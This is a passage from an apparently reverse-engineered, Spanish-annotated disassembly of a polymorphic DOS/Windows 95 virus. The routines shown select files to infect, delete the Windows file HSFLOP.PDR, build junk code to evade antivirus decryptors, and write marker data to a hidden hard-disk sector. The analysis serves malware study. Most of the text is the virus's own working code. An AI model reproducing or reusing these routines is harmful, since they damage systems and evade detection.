TBAV, F-PROT o IVP            ∩0DA6:06F6 800E8C0101    OR      BYTE PTR [018C],01  Ω; Pone el bit 0 de [018C]      ∩0DA6:06FB F9            STC                         Ω; a 1 y el CF a 1 también      ∩0DA6:06FC 1F            POP     DS                  Ω; Saca DS                      ∩0DA6:06FD C3            RET                         Ω; Retorna                                                                                                           ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;; Rutina para encontrar el nombre de un archivo eliminando el resto de la  ;;      ε;; cadena (la ruta donde se encuentra el archivo), y después de encontrarlo ;;      ε;; comprobar si es un archivo especial que merece atención especial         ;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                           ∩0DA6:06FE 1E            PUSH    DS        Ω; ES = DS                                ∩0DA6:06FF 07            POP     ES                                                  ∩0DA6:0700 32C0          XOR     AL,AL     Ω; AL = 0                                 ∩0DA6:0702 8BFA          MOV     DI,DX     Ω; En ES:DI, la dirección de la cade-                                               Ω; na con el nombre del archivo            ∩0DA6:0704 33C9          XOR     CX,CX     Ω; CX a 0                                 ∩0DA6:0706 B1FF          MOV     CL,FF     Ω; CL = 0FFh                              ∩0DA6:0708 8BD9          MOV     BX,CX     Ω; BX = 00FFh                             ∩0DA6:070A FC            CLD               Ω; Busca durante 256 caracteres el        ∩0DA6:070B F2            REPNZ             Ω; valor 0 que indica el fin de la        ∩0DA6:070C AE            SCASB             Ω; cadena, y repite la instrucción                                                  Ω; SCASB hasta que encuentra un 0.         ∩0DA6:070D 4F            DEC     DI        Ω; Decrementa DI dos veces y se pone      ∩0DA6:070E 4F            DEC     DI        Ω; apuntando al último byte de la ca-                                               Ω; dena                                    ∩0DA6:070F 2BD9          SUB     BX,CX     Ω; Resta a 256 el valor de CX que le                                                Ω; ha quedado                              ∩0DA6:0711 8BCB          MOV     CX,BX     Ω; En CX el número resultante, que re-                                              Ω; sulta ser el tamaño de la cadena.       ∩0DA6:0713 FD            STD               Ω; Hacia atrás.                           ∩0DA6:0714 B05C          MOV     AL,5C     Ω; Ahora busca a lo largo de la cade-     ∩0DA6:0716 F2            REPNZ             Ω; na el caracter '\'                     ∩0DA6:0717 AE            SCASB                                                       ∩0DA6:0718 2BD9          SUB     BX,CX     Ω; Cuando lo encuentra, le vuelve a                                                 Ω; restar a BX el valor que ha queda-                                                Ω; do en CX                                ∩0DA6:071A 8BCB          MOV     CX,BX     Ω; Lo pone en CX, y en CX quedará en-                                               Ω; tonces la longitud del nombre del                                                 Ω; archivo y extensión, sin ruta de                                                  Ω; acceso                                  ∩0DA6:071C 47            INC     DI        Ω; Incrementa DI para que apunte al                                                 Ω; inicio del nombre del archivo me-                                                 Ω; nos uno, y si no ha habido ningún                                                 Ω; error en la cadena, DI apuntará al                                                Ω; último '\' que haya en la cadena        ∩0DA6:071D 26            ES:               Ω; Comprueba si este caracter es '\'      ∩0DA6:071E 8A05          MOV     AL,[DI]                                             ∩0DA6:0720 3C5C          CMP     AL,5C                                               ∩0DA6:0722 7511          JNZ     0735      Ω; Si no lo es, salta                     ∩0DA6:0724 47            INC     DI        Ω; Incrementa DI                          ∩0DA6:0725 8BF7          MOV     SI,DI     Ω; En SI ahora el inicio del nombre                                                 Ω; del archivo                             ∩0DA6:0727 BF4807        MOV     DI,0748   Ω; En DI la dirección :0748               ∩0DA6:072A 49            DEC     CX        Ω; Decrementa CX y BX                     ∩0DA6:072B 4B            DEC     BX                                                  ∩0DA6:072C FC            CLD               Ω; Hacia delante                          ∩0DA6:072D 0E            PUSH    CS        Ω; ES = CS                                ∩0DA6:072E 07            POP     ES                                                  ∩0DA6:072F F3            REPZ              Ω; Copia el nombre del archivo ahí        ∩0DA6:0730 A4            MOVSB                                                       ∩0DA6:0731 E877FF        CALL    06AB      Ω; Rutina para comprobar si el nombre                                               Ω; del archivo es especial. Devuelve                                                 Ω; CF si lo es.                            ∩0DA6:0734 C3            RET               Ω; Retorna                                                                                                                     ∩0DA6:0735 BB0A00        MOV     BX,000A   Ω; Pone en BX el valor 000Ah              ∩0DA6:0738 0E            PUSH    CS        Ω; ES = CS                                ∩0DA6:0739 07            POP     ES                                                  ∩0DA6:073A C3            RET               Ω; Retorna                                                                                                                                                                                                                                                 Ω; Copia del nombre del archivo que se                                               Ω; va a ejecutar                              ∩0DA6:073B 44            DB      'D'                                                 ∩0DA6:073C 45            DB      'E'                                                 ∩0DA6:073D 42            DB      'B'                                                 ∩0DA6:073E 55            DB      'U'                                                 ∩0DA6:073F 47            DB      'G'                                                 ∩0DA6:0740 2E            DB      '.'                                                 ∩0DA6:0741 45            DB      'E'                                                 ∩0DA6:0742 58            DB      'X'                                                 ∩0DA6:0743 45            DB      'E'                                                 ∩0DA6:0744 45            DB      'E'   Ω; Caracteres del archivo que había antes     ∩0DA6:0745 58            DB      'X'   Ω; copiado aquí                               ∩0DA6:0746 45            DB      'E'                                                 ∩0DA6:0747 00            DB      00                                                                                         Ω; A partir de aquí, nombre del archivo                                              Ω; a infectar, copiado en la rutina que                                              Ω; empieza en :06FE                           ∩0DA6:0748 48            DB      'H'                                                 ∩0DA6:0749 41            DB      'A'    Ω; Este nombre es el que yo usé para co-     ∩0DA6:074A 52            DB      'R'    Ω; piar el virus a archivo. En el orde-      ∩0DA6:074B 45            DB      'E'    Ω; nador infectado, y usando el DEBUG,       ∩0DA6:074C 44            DB      'D'    Ω; busqué en memoria a través de la int      ∩0DA6:074D 49            DB      'I'    Ω; 21h hasta que encontré el virus, y        ∩0DA6:074E 53            DB      'S'    Ω; una vez lo encontré copié a archivo       ∩0DA6:074F 41            DB      'A'    Ω; directamente la parte de memoria, y       ∩0DA6:0750 2E            DB      '.'    Ω; así obtuve una copia desencriptada        ∩0DA6:0751 56            DB      'V'    Ω; del virus y que empezaba por el off-      ∩0DA6:0752 49            DB      'I'    Ω; set :0000, que viene muy bien a la        ∩0DA6:0753 52            DB      'R'    Ω; hora de calcular offsets el en proce-     ∩0DA6:0754 00            DB      00     Ω; so de comentado.                                                                                                               ∩0DA6:0755 43            DB      'C'     Ω; Cadena que compara al nombre del ar-     ∩0DA6:0756 4F            DB      'O'     Ω; chivo, porque si encuentra que es el     ∩0DA6:0757 4D            DB      'M'     Ω; archivo COMMAND.* no lo infectará.       ∩0DA6:0758 4D            DB      'M'                                                 ∩0DA6:0759 41            DB      'A'                                                 ∩0DA6:075A 4E            DB      'N'                                                 ∩0DA6:075B 44            DB      'D'                                                                                                                                      ∩0DA6:075C 5C            POP     SP        Ω; Aquí pone:                             ∩0DA6:075D 53            PUSH    BX        Ω; '\SYSTEM\IOSUBSYS\HSFLOP.PDR', 0       ∩0DA6:075E 59            POP     CX                                                  ∩0DA6:075F 53            PUSH    BX                                                  ∩0DA6:0760 54            PUSH    SP                                                  ∩0DA6:0761 45            INC     BP                                                  ∩0DA6:0762 4D            DEC     BP                                                  ∩0DA6:0763 5C            POP     SP                                                  ∩0DA6:0764 49            DEC     CX                                                  ∩0DA6:0765 4F            DEC     DI                                                  ∩0DA6:0766 53            PUSH    BX                                                  ∩0DA6:0767 55            PUSH    BP                                                  ∩0DA6:0768 42            INC     DX                                                  ∩0DA6:0769 53            PUSH    BX                                                  ∩0DA6:076A 59            POP     CX                                                  ∩0DA6:076B 53            PUSH    BX                                                  ∩0DA6:076C 5C            POP     SP                                                  ∩0DA6:076D 48            DEC     AX                                                  ∩0DA6:076E 53            PUSH    BX                                                  ∩0DA6:076F 46            INC     SI                                                  ∩0DA6:0770 4C            DEC     SP                                                  ∩0DA6:0771 4F            DEC     DI                                                  ∩0DA6:0772 50            PUSH    AX                                                  ∩0DA6:0773 2E            CS:                                                         ∩0DA6:0774 50            PUSH    AX                                                  ∩0DA6:0775 44            INC     SP                                                  ∩0DA6:0776 52            PUSH    DX                                                  ∩0DA6:0777 00            DB      00                                                                                                                                                                                                                            ε;;; Rutina para buscar en las variables de sistema (SETs) el directorio donde       ε;;; se aloja el WINDOWS 95 y borrar X:\WIN????\SYSTEM\IOSUBSYS\HSFLOP.PDR, que      ε;;; es el archivo que ??? (pendiente de comprobación)                                                                                                                    ∩0DA6:0778 1E            PUSH    DS            Ω; Guarda DS y DX en el stack         ∩0DA6:0779 52            PUSH    DX                                                  ∩0DA6:077A 33FF          XOR     DI,DI         Ω; DI = 0                             ∩0DA6:077C B9FFFF        MOV     CX,FFFF       Ω; CX = -1                            ∩0DA6:077F B462          MOV     AH,62         Ω; Obtiene el PSP (Program Seg-       ∩0DA6:0781 CD21          INT     21            Ω; ment Prefix) actual, que guar-                                                   Ω; da datos sobre el programa que                                                    Ω; se está ejecutando en ese mo-                                                     Ω; mento (en este caso, sería el                                                     Ω; programa que aloja al virus)        ∩0DA6:0783 8EC3          MOV     ES,BX         Ω; Pone en ES la dirección de                                                       Ω; segmento devuelta                   ∩0DA6:0785 26            ES:                   Ω; Obtiene en ES el segmento don-     ∩0DA6:0786 8E062C00      MOV     ES,[002C]     Ω; de se aloja el Environment                                                       Ω; Block, que es la zona donde el                                                    Ω; DOS guarda las variables SET y                                                    Ω; PATH del sistema                    ∩0DA6:078A FC            CLD                   Ω; Lee hacia delante                  ∩0DA6:078B B000          MOV     AL,00         Ω; AL = 0, y recordemos que DI                                                      Ω; también está a 0                    ∩0DA6:078D F2            REPNZ                 Ω; Empieza a buscar entre las va-     ∩0DA6:078E AE            SCASB                 Ω; riables el valor 0, que es el                                                    Ω; valor que delimita una varia-                                                     Ω; ble de otra                         ∩0DA6:078F 26            ES:                   Ω; Pone en AX lo encontrado           ∩0DA6:0790 8B05          MOV     AX,[DI]                                             ∩0DA6:0792 0AC0          OR      AL,AL         Ω; Mira si el byte que sigue al 0                                                   Ω; que ha encontrado es otro 0,                                                      Ω; en cuyo caso resultaría que ha                                                    Ω; encontrado el final del Envi-                                                     Ω; ronment-Block                       ∩0DA6:0794 7444          JZ      07DA          Ω; Si es 0, salta y acaba             ∩0DA6:0796 25DFDF        AND     AX,DFDF       Ω; Convierte a mayúsculas los ca-                                                   Ω; racteres que ha obtenido            ∩0DA6:0799 3D5749        CMP     AX,4957       Ω; Mira si son 'WI'                   ∩0DA6:079C 75ED          JNZ     078B          Ω; Si no son, repite el proceso       ∩0DA6:079E 26            ES:                   Ω; Coge el siguiente caracter         ∩0DA6:079F 8A4502        MOV     AL,[DI+02]                                          ∩0DA6:07A2 24DF          AND     AL,DF         Ω; Lo pone en mayúsculas              ∩0DA6:07A4 3C4E          CMP     AL,4E         Ω; Mira si es 'N'                     ∩0DA6:07A6 75E3          JNZ     078B          Ω; Si no es, salta y repite el                                                      Ω; proceso                             ∩0DA6:07A8 B03D          MOV     AL,3D         Ω; Busca en la cadena el caracter                                                   Ω; ter '='                             ∩0DA6:07AA F2            REPNZ                                                       ∩0DA6:07AB AE            SCASB                                                       ∩0DA6:07AC E32C          JCXZ    07DA          Ω; Si CX ha llegado a 0, y por                                                      Ω; tanto no ha encontrado un =,                                                      Ω; salta y acaba                       ∩0DA6:07AE 8BF7          MOV     SI,DI         Ω; SI = DI                            ∩0DA6:07B0 8BDF          MOV     BX,DI         Ω; BX = DI                            ∩0DA6:07B2 BF6A1E        MOV     DI,1E6A       Ω; En DI la dirección [1E6Ah],                                                      Ω; que era donde antes ha guarda-                                                    Ω; do el BOOT que había preparado                                                    Ω; para infectar el sistema            ∩0DA6:07B5 8BD7          MOV     DX,DI         Ω; DX = 1E6Ah                         ∩0DA6:07B7 06            PUSH    ES            Ω; DS = ES                            ∩0DA6:07B8 1F            POP     DS                                                  ∩0DA6:07B9 0E            PUSH    CS            Ω; ES = CS                            ∩0DA6:07BA 07            POP     ES                                                  ∩0DA6:07BB AC            LODSB                 Ω; Copia un byte                      ∩0DA6:07BC AA            STOSB                                                       ∩0DA6:07BD 0AC0          OR      AL,AL         Ω; Mira si el byte es 0               ∩0DA6:07BF 75FA          JNZ     07BB          Ω; Si no lo es, sigue copiando        ∩0DA6:07C1 4F            DEC     DI            Ω; Decrementa DI para que apunte                                                    Ω; al final de la cadena copiada.                                                    Ω; Al llegar aquí, tendrá enton-                                                     Ω; ces en 1E6Ah el directorio                                                        Ω; donde se encuentra el WINDOWS                                                     Ω; 95                                  ∩0DA6:07C2 0E            PUSH    CS            Ω; DS = CS                            ∩0DA6:07C3 1F            POP     DS                                                  ∩0DA6:07C4 BE5C07        MOV     SI,075C       Ω; SI = 075Ch, que es una cade-                                                     Ω; na de caracteres que añadirá                                                      Ω; al final del directorio para                                                      Ω; formar una ruta de acceso.                                                        Ω; Esta cadena es:                                                                   Ω; '\SYSTEM\IOSUBSYS\HSFLOP.PDR'       ∩0DA6:07C7 B91C00        MOV     CX,001C       Ω; Copia los 28 bytes que tiene       ∩0DA6:07CA F3            REPZ                  Ω; la cadena de longitud (inclu-      ∩0DA6:07CB A4            MOVSB                 Ω; yendo un byte 0 al final)          ∩0DA6:07CC B441          MOV     AH,41         Ω; Usa la función 41h de la int                                                     Ω; 21h, que es para borrar un ar-                                                    Ω; chivo apuntado por DS:DX (DX                                                      Ω; apunta a la ruta de acceso re-                                                    Ω; cién formada)                       ∩0DA6:07CE E8F4FA        CALL    02C5          Ω; Emula la instrucción INT 21h       ∩0DA6:07D1 7307          JNB     07DA          Ω; Si no hay error, salta y acaba     ∩0DA6:07D3 3C02          CMP     AL,02         Ω; Comprueba si el error ha sido                                                    Ω; que no ha encontrado el archi-                                                    Ω; vo                                  ∩0DA6:07D5 8BFB          MOV     DI,BX         Ω; En DI pone la dirección donde                                                    Ω; se había quedado buscando la                                                      Ω; cadena                              ∩0DA6:07D7 74A3          JZ      077C          Ω; Si AL es 2, salta y repite el                                                    Ω; proceso                             ∩0DA6:07D9 F9            STC                   Ω; Si no es, pone el CF a 1           ∩0DA6:07DA 5A            POP     DX            Ω; Saca DX y DS del stack             ∩0DA6:07DB 1F            POP     DS                                                  ∩0DA6:07DC C3            RET                   Ω; Retorna                                                                                                                                                               Ω; Estos datos, junto con los op-                                                    Ω; codes B4h+1º byte y CDh+2º byte                                                   Ω; forman las instrucciones:           ∩0DA6:07DD 001A          DB      00,1A         Ω; MOV AL,00 - INT 1A                 ∩0DA6:07DF 021A          DB      02,1A         Ω; MOV AL,02 - INT 1A                 ∩0DA6:07E1 041A          DB      04,1A         Ω; MOV AL,04 - INT 1A                 ∩0DA6:07E3 0310          DB      03,10         Ω; MOV AL,03 - INT 10                 ∩0DA6:07E5 0810          DB      08,10         Ω; MOV AL,08 - INT 10                 ∩0DA6:07E7 0F10          DB      0F,10         Ω; MOV AL,0F - INT 10                 ∩0DA6:07E9 0B21          DB      0B,21         Ω; etc.                               ∩0DA6:07EB 0D21          DB      0D,21                                               ∩0DA6:07ED 1821          DB      18,21                                               ∩0DA6:07EF 1921          DB      19,21                                               ∩0DA6:07F1 2A21          DB      2A,21                                               ∩0DA6:07F3 2C21          DB      2C,21                                               ∩0DA6:07F5 3021          DB      30,21                                               ∩0DA6:07F7 4D21          DB      4D,21                                               ∩0DA6:07F9 5121          DB      51,21                                               ∩0DA6:07FB 5421          DB      54,21                                               ∩0DA6:07FD 6221          DB      62,21                                               ∩0DA6:07FF 0B21          DB      0B,21         Ω; Aquí las repite porque se vé       ∩0DA6:0801 0D21          DB      0D,21         Ω; que el autor no encontraba más                                                   Ω; o estaba harto de buscar :)                                                                                                                                      Ω; Instrucciones de 2 bytes o pares de                                               Ω; 1+1 bytes que selecciona en :086F                                                 Ω; para hacer basura para los desencrip-                                             Ω; tadores                                   ∩0DA6:0803 CD2B          INT     2B                                                  ∩0DA6:0805 CD2C          INT     2C                                                  ∩0DA6:0807 CD2D          INT     2D                                                  ∩0DA6:0809 CD28          INT     28                                                  ∩0DA6:080B CD1C          INT     1C                                                  ∩0DA6:080D CD08          INT     08                                                  ∩0DA6:080F CD0A          INT     0A                                                  ∩0DA6:0811 CD0B          INT     0B                                                  ∩0DA6:0813 CD0C          INT     0C                                                  ∩0DA6:0815 CD0D          INT     0D                                                  ∩0DA6:0817 CD0F          INT     0F                                                  ∩0DA6:0819 CD0E          INT     0E                                                  ∩0DA6:081B CD70          INT     70                                                  ∩0DA6:081D CD71          INT     71                                                  ∩0DA6:081F CD72          INT     72                                                  ∩0DA6:0821 CD73          INT     73                                                  ∩0DA6:0823 CD74          INT     74                                                  ∩0DA6:0825 CD75          INT     75                                                  ∩0DA6:0827 CD76          INT     76                                                  ∩0DA6:0829 CD77          INT     77                                                  ∩0DA6:082B CD01          INT     01                                                  ∩0DA6:082D CC            INT     3                                                   ∩0DA6:082E CC            INT     3                                                   ∩0DA6:082F 50            PUSH    AX                                                  ∩0DA6:0830 58            POP     AX                                                  ∩0DA6:0831 53            PUSH    BX                                                  ∩0DA6:0832 5B            POP     BX                                                  ∩0DA6:0833 51            PUSH    CX                                                  ∩0DA6:0834 59            POP     CX                                                  ∩0DA6:0835 52            PUSH    DX                                                  ∩0DA6:0836 5A            POP     DX                                                  ∩0DA6:0837 57            PUSH    DI                                                  ∩0DA6:0838 5F            POP     DI                                                  ∩0DA6:0839 56            PUSH    SI                                                  ∩0DA6:083A 5E            POP     SI                                                  ∩0DA6:083B 55            PUSH    BP                                                  ∩0DA6:083C 5D            POP     BP                                                  ∩0DA6:083D 1E            PUSH    DS                                                  ∩0DA6:083E 1F            POP     DS                                                  ∩0DA6:083F 06            PUSH    ES                                                  ∩0DA6:0840 07            POP     ES                                                  ∩0DA6:0841 16            PUSH    SS                                                  ∩0DA6:0842 17            POP     SS                                                                                                                                                                                                                                                                                                                 ∩0DA6:0843 CE            DB      CE,74     Ω; Word que utiliza para obtener bytes                                              Ω; aleatorios que utilizará para cons-                                               Ω; truir la cadena de aleatorios "ge-                                                Ω; neral".                                                                                                                      ∩0DA6:0845 3A            DB      3A        Ω; Byte de control donde guarda en                                                  Ω; la rutina de :0846 el número alea-                                                Ω; torio que obtiene y lo compara con                                                Ω; el siguiente que consigue al vol-                                                 Ω; ver a llamar a la rutina para que                                                 Ω; no sea el mismo                                                                                                              ε;;;;; Rutina para obtener una instrucción basura compleja (tales como INTs          ε;;;;; inefectivas, funciones de interrupciones que sólo devuelven información       ε;;;;; o pares de instrucciones PUSH/POP. Se le pasa el tamaño en BL, que será       ε;;;;; 0 (si no se quiere ninguna instrucción), 2 (si se quiere una instrucción      ε;;;;; INT o un par PUSH/POP) o 4 (con el cual se obtendrá en DX-AX una instruc-     ε;;;;; ción MOV AH,**/INT **)                                                                                                                                             ∩0DA6:0846 E8F100        CALL    093A            Ω; Obtiene un aleatorio de la                                                       Ω; cadena de aleatorios del vi-                                                      Ω; rus                               ∩0DA6:0849 F6C410        TEST    AH,10           Ω; Comprueba si el bit 4 de AH                                                      Ω; está a 1                          ∩0DA6:084C 7449          JZ      0897            Ω; Si no está, salta a :0897        ∩0DA6:084E 80FB02        CMP     BL,02           Ω; Comprueba si BL es 2             ∩0DA6:0851 7407          JZ      085A            Ω; Si es, salta a :085A             ∩0DA6:0853 80FB04        CMP     BL,04           Ω; ¿Es 4?                           ∩0DA6:0856 741D          JZ      0875            Ω; Si es, salta a :0875             ∩0DA6:0858 EB3D          JMP     0897            Ω; Pone BL a 0 y retorna            ∩0DA6:085A 0440          ADD     AL,40           Ω; Suma 40 a AL                     ∩0DA6:085C 73FC          JNB     085A            Ω; Si no se pasa, sigue sumando                                                     Ω; hasta que se pase                 ∩0DA6:085E 24FE          AND     AL,FE           Ω; Anula el bit inferior de AL                                                      Ω; y lo convierte en par. AL                                                         Ω; es ahora un número par entre                                                      Ω; 0 y 3Fh                           ∩0DA6:0860 3A064508      CMP     AL,[0845]       Ω; Comprueba si AL es el número                                                     Ω; que guarda en [0845]              ∩0DA6:0864 74E0          JZ      0846            Ω; Si es, salta y vuelve a hacer                                                    Ω; este proceso                      ∩0DA6:0866 A24508        MOV     [0845],AL       Ω; Pone el nuevo número en AL       ∩0DA6:0869 56            PUSH    SI              Ω; Guarda SI                        ∩0DA6:086A 98            CBW                     Ω; AH = 0                           ∩0DA6:086B 93            XCHG    BX,AX           Ω; Intercambia BX y AX              ∩0DA6:086C BE0308        MOV     SI,0803         Ω; En SI la dirección de inicio                                                     Ω; de las instrucciones basura                                                       Ω; que cogerá ahora. Pueden ser                                                      Ω; instrucciones INT sin efecto                                                      Ω; o pares PUSH/POP                  ∩0DA6:086F 8B00          MOV     AX,[BX+SI]      Ω; Coge en AX el opcode de la                                                       Ω; instrucción escogida              ∩0DA6:0871 5E            POP     SI              Ω; Recupera SI                      ∩0DA6:0872 B302          MOV     BL,02           Ω; BL = 2                           ∩0DA6:0874 C3            RET                     Ω; Retorna                                                                         Ω; Aquí si BL en el inicio de la                                                     Ω; función era 4                      ∩0DA6:0875 0426          ADD     AL,26           Ω; Suma 26 a AL                     ∩0DA6:0877 73FC          JNB     0875            Ω; Sigue sumándole hasta que hay                                                    Ω; rebosamiento                      ∩0DA6:0879 24FE          AND     AL,FE           Ω; Hace el número par               ∩0DA6:087B 3A064508      CMP     AL,[0845]       Ω; Comprueba si es el mismo que                                                     Ω; en [0845]                         ∩0DA6:087F 74C5          JZ      0846            Ω; Si es, vuelve a empezar y co-                                                    Ω; ge otro aleatorio                 ∩0DA6:0881 A24508        MOV     [0845],AL       Ω; Lo guarda en [0845], una vez                                                     Ω; que lo ha obtenido                ∩0DA6:0884 56            PUSH    SI              Ω; Guarda SI                        ∩0DA6:0885 98            CBW                     Ω; AH = 0                           ∩0DA6:0886 93            XCHG    BX,AX           Ω; Pone el número de AX en BX,                                                      Ω; que servirá como índice           ∩0DA6:0887 BEDD07        MOV     SI,07DD         Ω; En SI el inicio de otra ca-                                                      Ω; dena de instrucciones basura.                                                     Ω; Junto con los opcodes B4h                                                         Ω; (MOV AH,**) y CDh (INT **)                                                        Ω; formará un par de instruccio-                                                     Ω; nes que sólo devuelven infor-                                                     Ω; mación y no modifican nada.       ∩0DA6:088A 8A20          MOV     AH,[BX+SI]      Ω; En AH obtiene el primer nú-                                                      Ω; mero                              ∩0DA6:088C 8A7001        MOV     DH,[BX+SI+01]   Ω; En DH el segundo                 ∩0DA6:088F B0B4          MOV     AL,B4           Ω; En AL el opcode de MOV AH,**     ∩0DA6:0891 B2CD          MOV     DL,CD           Ω; En DL el opcode de INT **        ∩0DA6:0893 5E            POP     SI              Ω; Saca SI                          ∩0DA6:0894 B304          MOV     BL,04           Ω; BL = 4                           ∩0DA6:0896 C3            RET                     Ω; Retorna                                                                         Ω; Aquí si BL no es ni 2 ni 4         ∩0DA6:0897 B300          MOV     BL,00           Ω; BL = 0                           ∩0DA6:0899 C3            RET                     Ω; Retorna                                                                                                               ε;;;; Rutina para obtener una cantidad de basura para el desencriptador en for-      ε;;;; ma de instrucciones "complejas", como INTs, etc. Se puede obtener una can-     ε;;;; tidad de 0 a 12 bytes de basura de este tipo                                                                                                                        ∩0DA6:089A BD0300        MOV     BP,0003         Ω; BP = 3 para hacer el LOOP 3                                                      Ω; veces                             ∩0DA6:089D 4D            DEC     BP              Ω; Decrementa BP                    ∩0DA6:089E 7415          JZ      08B5            Ω; Si es 0, acaba.                  ∩0DA6:08A0 E8A3FF        CALL    0846            Ω; Obtiene en AX o en DX-AX ins-                                                    Ω; trucciones basura para inser-                                                     Ω; tar en el desencriptador po-                                                      Ω; limorfeado                        ∩0DA6:08A3 02CB          ADD     CL,BL           Ω; Suma a CL el tamaño de la ba-                                                    Ω; sura obtenida                     ∩0DA6:08A5 80FB02        CMP     BL,02           Ω; Mira si BL es 02                 ∩0DA6:08A8 7209          JB      08B3            Ω; Salta a :08B3 si BL = 0 y                                                        Ω; "LOOPea"                          ∩0DA6:08AA 7703          JA      08AF            Ω; Salta a :08AF si BL = 4          ∩0DA6:08AC AB            STOSW                   Ω; Almacena la instrucción obte-                                                    Ω; nida                              ∩0DA6:08AD EBEE          JMP     089D            Ω; Salta para continuar                                                            Ω; Aquí desde :08AA si BL es 4        ∩0DA6:08AF AB            STOSW                   Ω; Almacena la instrucción en                                                       Ω; AX                                ∩0DA6:08B0 8BC2          MOV     AX,DX           Ω; Y ahora hace lo mismo con la     ∩0DA6:08B2 AB            STOSW                   Ω; instrucción en DX                ∩0DA6:08B3 EBE8          JMP     089D            Ω; Salta y hace el LOOP                                                             Ω; Aquí desde :08B5                  ∩0DA6:08B5 C3            RET                     Ω; Retorna                                                                                                               ε;;; Rutina para obtener un aleatorio de la cadena de aleatorios que el virus        ε;;; guarda en el disco duro. Este aleatorio estará entre 0 y 2                                                                                                           ∩0DA6:08B6 33DB          XOR     BX,BX   Ω; BX a 0                                   ∩0DA6:08B8 50            PUSH    AX      Ω; Guarda AX                                ∩0DA6:08B9 E87E00        CALL    093A    Ω; Obtiene en AX un número de la cade-                                              Ω; na de aleatorios que se guarda en                                                 Ω; el disco duro                             ∩0DA6:08BC 8AD8          MOV     BL,AL   Ω; En BL pone el byte bajo de este nú-                                              Ω; mero                                      ∩0DA6:08BE 58            POP     AX      Ω; Saca AX del stack                        ∩0DA6:08BF 8AC3          MOV     AL,BL   Ω; En AL vuelve a poner este número         ∩0DA6:08C1 0ADB          OR      BL,BL   Ω; Mira si es 0                             ∩0DA6:08C3 74F3          JZ      08B8    Ω; Si lo es, repite el proceso con el                                               Ω; nuevo BX                                  ∩0DA6:08C5 80E303        AND     BL,03   Ω; Anula los 6 bits superiores de BL y      ∩0DA6:08C8 80FB03        CMP     BL,03   Ω; comprueba si el resultado es 3           ∩0DA6:08CB 7202          JB      08CF    Ω; Si es menor, retorna                     ∩0DA6:08CD EBE9          JMP     08B8    Ω; Si no, repite el proceso                 ∩0DA6:08CF C3            RET             Ω; Retorna                                                                                                                       ε;;;; Rutina para escribir en una zona del disco duro no declarada una ristra        ε;;;; de words aleatorios (256 words) que usará después en las rutinas de poli-      ε;;;; morfismo. Esto también le sirve para identificar un sistema infectado o        ε;;;; no.                                                                                                                                                                 ∩0DA6:08D0 0E            PUSH    CS                                                  ∩0DA6:08D1 0E            PUSH    CS                                                  ∩0DA6:08D2 07            POP     ES        Ω; ES = CS                                ∩0DA6:08D3 1F            POP     DS        Ω; DS = CS                                ∩0DA6:08D4 B408          MOV     AH,08     Ω; Obtiene el formato del disco duro      ∩0DA6:08D6 B280          MOV     DL,80     Ω; (los valores límite de cilindros,      ∩0DA6:08D8 CD13          INT     13        Ω; sectores y cabezales) en CX y DX.      ∩0DA6:08DA BBBA20        MOV     BX,20BA   Ω; Lee el ?????? sector del ??????        ∩0DA6:08DD B80102        MOV     AX,0201   Ω; cilindro del ????????? cabezal del     ∩0DA6:08E0 FEC5          INC     CH        Ω; disco duro y lo pone en un buffer      ∩0DA6:08E2 FECE          DEC     DH        Ω; propio en CS:20BA.                     ∩0DA6:08E4 FECE          DEC     DH                                                  ∩0DA6:08E6 B101          MOV     CL,01                                               ∩0DA6:08E8 B280          MOV     DL,80                                               ∩0DA6:08EA CD13          INT     13                                                  ∩0DA6:08EC 723E          JB      092C      Ω; Si hay error, acaba                    ∩0DA6:08EE E86A00        CALL    095B      Ω; Obtiene un número aleatorio en AX      ∩0DA6:08F1 240F          AND     AL,0F     Ω; Obtiene en AL un número entre 1 y                                                Ω; 15                                      ∩0DA6:08F3 3C07          CMP     AL,07     Ω; Comprueba que es el valor 7            ∩0DA6:08F5 7406          JZ      08FD      Ω; Si es, salta para generar una nue-                                               Ω; va secuencia aleatoria en ese sec-                                                Ω; tor de ese cilindro de ese cabezal      ∩0DA6:08F7 813FDDCC      CMP     WORD PTR [BX],CCDD Ω; Comprueba si el inicio de                                               Ω; lo leído en ese sector es el valor                                                Ω; DDCCh (recordemos el sistema de                                                   Ω; INTEL de reverse-word).                 ∩0DA6:08FB 742F          JZ      092C      Ω; Si es, acaba                           ∩0DA6:08FD B90001        MOV     CX,0100   Ω; Si no es, pone en CX el valor 256      ∩0DA6:0900 8BFB          MOV     DI,BX     Ω; En DI, la dirección 20BAh              ∩0DA6:0902 E85600        CALL    095B      Ω; Genera una cadena de 256 words de      ∩0DA6:0905 0345FE        ADD     AX,[DI-02] Ω; números aleatorios en DI, y para      ∩0DA6:0908 8905          MOV     [DI],AX   Ω; hacerlos más aleatorios, al obte-      ∩0DA6:090A 47            INC     DI        Ω; nido le suma el anterior cada vez.     ∩0DA6:090B 47            INC     DI        Ω; Por cierto, podría haber usado         ∩0DA6:090C E2F4          LOOP    0902      Ω; STOSW en vez de MOV .../INC DI...      ∩0DA6:090E C707DDCC      MOV     WORD PTR [BX],CCDD Ω; En el inicio de la cade-                                                Ω; na, pone el identificador DDCCh         ∩0DA6:0912 B408          MOV     AH,08     Ω; Vuelve a obtener el formato del        ∩0DA6:0914 B280          MOV     DL,80     Ω; disco duro                             ∩0DA6:0916 CD13          INT     13                                                  ∩0DA6:0918 BBBA20        MOV     BX,20BA   Ω; Y ahora escribe la cadena aleato-      ∩0DA6:091B B80103        MOV     AX,0301   Ω; ria de 512 bytes en el ?????? sec-     ∩0DA6:091E FEC5          INC     CH        Ω; tor del ??????...bla,bla,bla           ∩0DA6:0920 FECE          DEC     DH                                                  ∩0DA6:0922 FECE          DEC     DH                                                  ∩0DA6:0924 B101          MOV     CL,01                                               ∩0DA6:0926 B280          MOV     DL,80                                               ∩0DA6:0928 CD13          INT     13        Ω; La escribe                             ∩0DA6:092A 7201          JB      092D      Ω; Si hay error, salta                    ∩0DA6:092C C3            RET               Ω; Retorna                                                                                                                     ∩0DA6:092D B80D44        MOV     AX,440D   Ω; Accede a una función del controla-     ∩0DA6:0930 BB8001        MOV     BX,0180   Ω; dor de dispositivos no documenta-      ∩0DA6:0933 B94B08        MOV     CX,084B   Ω; da. De todas maneras, está mal,        